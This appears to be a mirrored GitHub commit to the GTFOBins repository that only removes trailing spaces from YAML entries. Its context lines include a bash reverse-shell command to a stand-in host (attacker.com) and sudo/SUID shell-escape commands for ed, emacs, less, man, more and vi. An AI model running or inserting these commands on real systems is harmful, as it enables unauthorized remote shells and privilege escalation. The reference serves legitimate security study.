mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 22:09:35 +01:00
Fix trailing spaces
This commit is contained in:
parent
89985be143
commit
004b4bf828
@ -49,8 +49,7 @@ load-library:
|
|||||||
file-read:
|
file-read:
|
||||||
label: File read
|
label: File read
|
||||||
description: It reads files and may be used to do privileged reads or disclose files outside a restricted environment.
|
description: It reads files and may be used to do privileged reads or disclose files outside a restricted environment.
|
||||||
|
|
||||||
file-write:
|
file-write:
|
||||||
label: File write
|
label: File write
|
||||||
description: It writes files and may be used to do privileged writes or write files outside a restricted environment.
|
description: It writes files and may be used to do privileged writes or write files outside a restricted environment.
|
||||||
|
|
@ -40,7 +40,7 @@ functions:
|
|||||||
export RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
|
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
|
||||||
file-read:
|
file-read:
|
||||||
- description: It trims trailing newlines.
|
- description: It trims trailing newlines.
|
||||||
code: |
|
code: |
|
||||||
export LFILE=file_to_read
|
export LFILE=file_to_read
|
||||||
|
@ -12,10 +12,10 @@ functions:
|
|||||||
- code: |-
|
- code: |-
|
||||||
./ed
|
./ed
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
ed file_to_read
|
ed file_to_read
|
||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
ed file_to_write
|
ed file_to_write
|
||||||
w
|
w
|
||||||
|
@ -6,10 +6,10 @@ functions:
|
|||||||
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
|
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
|
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
emacs file_to_read
|
emacs file_to_read
|
||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
emacs file_to_write
|
emacs file_to_write
|
||||||
C-x C-s
|
C-x C-s
|
||||||
|
@ -15,7 +15,7 @@ functions:
|
|||||||
- code: |-
|
- code: |-
|
||||||
./less /etc/profile
|
./less /etc/profile
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
less file_to_read
|
less file_to_read
|
||||||
---
|
---
|
||||||
|
@ -12,7 +12,7 @@ functions:
|
|||||||
- code: |-
|
- code: |-
|
||||||
./man man
|
./man man
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
man file_to_read
|
man file_to_read
|
||||||
---
|
---
|
||||||
|
@ -12,7 +12,7 @@ functions:
|
|||||||
- code: |-
|
- code: |-
|
||||||
TERM= ./more /etc/profile
|
TERM= ./more /etc/profile
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
more file_to_read
|
more file_to_read
|
||||||
---
|
---
|
||||||
|
@ -10,10 +10,10 @@ functions:
|
|||||||
- code: sudo vi -c ':!/bin/sh'
|
- code: sudo vi -c ':!/bin/sh'
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./vi -c ':!/bin/sh -p'
|
- code: ./vi -c ':!/bin/sh -p'
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
vi file_to_read
|
vi file_to_read
|
||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
vi file_to_write
|
vi file_to_write
|
||||||
w
|
w
|
||||||
|
Loading…
Reference in New Issue
Block a user